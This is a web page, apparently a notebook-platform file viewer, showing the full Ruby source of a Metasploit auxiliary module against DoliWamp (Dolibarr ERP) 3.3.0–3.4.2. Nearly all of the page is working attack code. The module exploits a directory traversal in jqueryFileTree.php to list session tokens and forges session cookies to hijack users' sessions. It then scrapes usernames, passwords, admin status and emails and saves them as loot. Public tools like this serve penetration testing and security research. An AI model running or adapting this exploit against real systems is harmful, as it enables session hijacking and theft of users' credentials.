Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/doliwamp_traversal_creds.rb
Views: 11777
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(update_info(11info,12'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials",13'Description' => %q{14This module will extract user credentials from DoliWamp - a WAMP15packaged installer distribution for Dolibarr ERP on Windows - versions163.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session17tokens in filenames in the 'tmp' directory. A directory traversal18vulnerability in 'jqueryFileTree.php' allows unauthenticated users19to retrieve session tokens by listing the contents of this directory.20Note: All tokens expire after 30 minutes of inactivity by default.21},22'License' => MSF_LICENSE,23'Author' => 'bcoles',24'References' =>25[26['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],27['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']28],29'DisclosureDate' => '2014-01-12'))30register_options(31[32OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']),33OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/'])34])35end3637#38# Find session tokens39#40def get_session_tokens41tokens = nil42print_status("Finding session tokens...")43res = send_request_cgi({44'method' => 'POST',45'uri' => normalize_uri(46target_uri.path,47'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'),48'cookie' => @cookie,49'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }50})51if !res52print_error("Connection failed")53elsif res.code == 40454print_error("Could not find 'jqueryFileTree.php'")55elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</56tokens = res.body.scan(/>sess_([a-z0-9]+)</)57num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }58print_good("Found #{num_tokens} session tokens")59else60print_error("Could not find any session tokens")61end62return tokens63end6465#66# Get user's credentials67#68def get_user_info(user_id)69vprint_status("Retrieving user's credentials")70res = send_request_cgi({71'method' => 'GET',72'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),73'cookie' => @cookie,74'vars_get' => Hash[{75'action' => 'edit',76'id' => "#{user_id}"77}.to_a.shuffle]78})79if !res80print_error("Connection failed")81elsif res.body =~ /User card/82record = [83res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first,84res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first,85res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first,86res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first87]88unless record.empty?89print_good("Found credentials (#{record[0]}:#{record[1]})")90return record91end92else93print_warning("Could not retrieve user credentials")94end95end9697#98# Verify if session cookie is valid and return user's ID99#100def get_user_id101res = send_request_cgi({102'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),103'cookie' => @cookie104})105if !res106print_error("Connection failed")107elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/108user_id = "#{$1}"109vprint_good("Hijacked session for user with ID '#{user_id}'")110return user_id111else112vprint_status("Could not hijack session. Session is invalid.")113end114end115116#117# Construct cookie using token118#119def create_cookie(token)120res = send_request_cgi({121'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),122'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"123})124if !res125print_error("Connection failed")126elsif res.code == 200 and res.get_cookies =~ /DOLSESSID_([a-f0-9]{32})=/127return "DOLSESSID_#{$1}=#{token}"128else129print_warning("Could not create session cookie")130end131end132133#134# Show progress percentage135# Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb136#137def progress(current, total)138done = (current.to_f / total.to_f) * 100139percent = "%3.2f%%" % done.to_f140vprint_status("Trying to hijack a session - " +141"%7s done (%d/%d tokens)" % [percent, current, total])142end143144#145# Check for session tokens in 'tmp'146#147def check148get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe149end150151def report_cred(opts)152service_data = {153address: opts[:ip],154port: opts[:port],155service_name: opts[:service_name],156protocol: 'tcp',157workspace_id: myworkspace_id158}159160credential_data = {161origin_type: :service,162module_fullname: fullname,163username: opts[:user],164private_data: opts[:password],165private_type: :password166}.merge(service_data)167168login_data = {169core: create_credential(credential_data),170status: Metasploit::Model::Login::Status::UNTRIED,171proof: opts[:proof]172}.merge(service_data)173174create_credential_login(login_data)175end176177def run178return unless tokens = get_session_tokens179credentials = []180print_status("Trying to hijack a session...")181tokens.flatten.each_with_index do |token, index|182if @cookie = create_cookie(token) and user_id = get_user_id183credentials << get_user_info(user_id)184end185progress(index + 1, tokens.size)186end187188if credentials.empty?189print_warning("No credentials collected.")190return191end192cred_table = Rex::Text::Table.new(193'Header' => 'Dolibarr User Credentials',194'Indent' => 1,195'Columns' => ['Username', 'Password', 'Admin', 'E-mail']196)197credentials.each do |record|198report_cred(199ip: rhost,200port: rport,201service_name: (ssl ? 'https' : 'http'),202user: record[0],203password: record[1],204proof: @cookie205)206cred_table << [record[0], record[1], record[2], record[3]]207end208print_line209print_line("#{cred_table}")210loot_name = 'dolibarr.traversal.user.credentials'211loot_type = 'text/csv'212loot_filename = 'dolibarr_user_creds.csv'213loot_desc = 'Dolibarr User Credentials'214p = store_loot(215loot_name,216loot_type,217rhost,218cred_table.to_csv,219loot_filename,220loot_desc)221print_status("Credentials saved in: #{p}")222end223end224225226